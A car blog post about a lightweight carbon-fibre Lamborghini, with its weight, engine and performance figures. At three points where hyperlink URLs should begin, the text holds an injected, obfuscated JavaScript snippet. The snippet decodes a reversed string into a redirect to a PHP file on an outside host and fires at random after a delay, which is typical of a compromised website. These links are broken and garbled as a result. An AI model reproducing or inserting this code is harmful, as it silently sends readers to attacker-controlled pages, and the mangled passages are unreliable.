What you’re looking at here, aside from the newest entry to your dream garage, is the lightest Lamborghini ever produced.
When we consider the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/lamborghini-super-trofeo-raging-bulls-highs-and-lows/” target=”_blank”>Super Trofeo racers and GT3 monsters currently (or soon to be) roaming the European race circuits, that may seem unlikely. But no. This particular carbon fibre Lambo (designed by Bruce Wayne, apparently) weighs just 999kg, 576kg less than an $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-avengers-aventador-458-italia-mclaren-mp4-12c/” target=”_blank”>Aventador and about the same as a Honda Jazz.
That may have something to do with the copious amounts of carbon fibre used during for ‘sixth element’, which if your GCSE science is up to scratch you will know is the atomic number for carbon.
Throw in a 5.2-litre V10, 570hp (plus 398lb-ft or torque), all-wheel drive system and six-speed paddle shift gearbox, and what you also have is a seriously quick piece of kit. Belt the go-faster pedal and this particular raging bull will hit 100kph in 2.6 seconds, and go on to 350kph. Take a moment to consider those figures…
Just as these pics by Chester Ng (shot in Hong Kong) will undoubtedly have struck a chord, so too did the original model when it first appeared at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/lamborghini-sesto-elemento-paris-motorshow/” target=”_blank”>2010 Paris Motor Show. Those with eagle eyes and ample-sized wallets weren’t too slow to sign on the dotted line, since all twenty examples made are now sold.
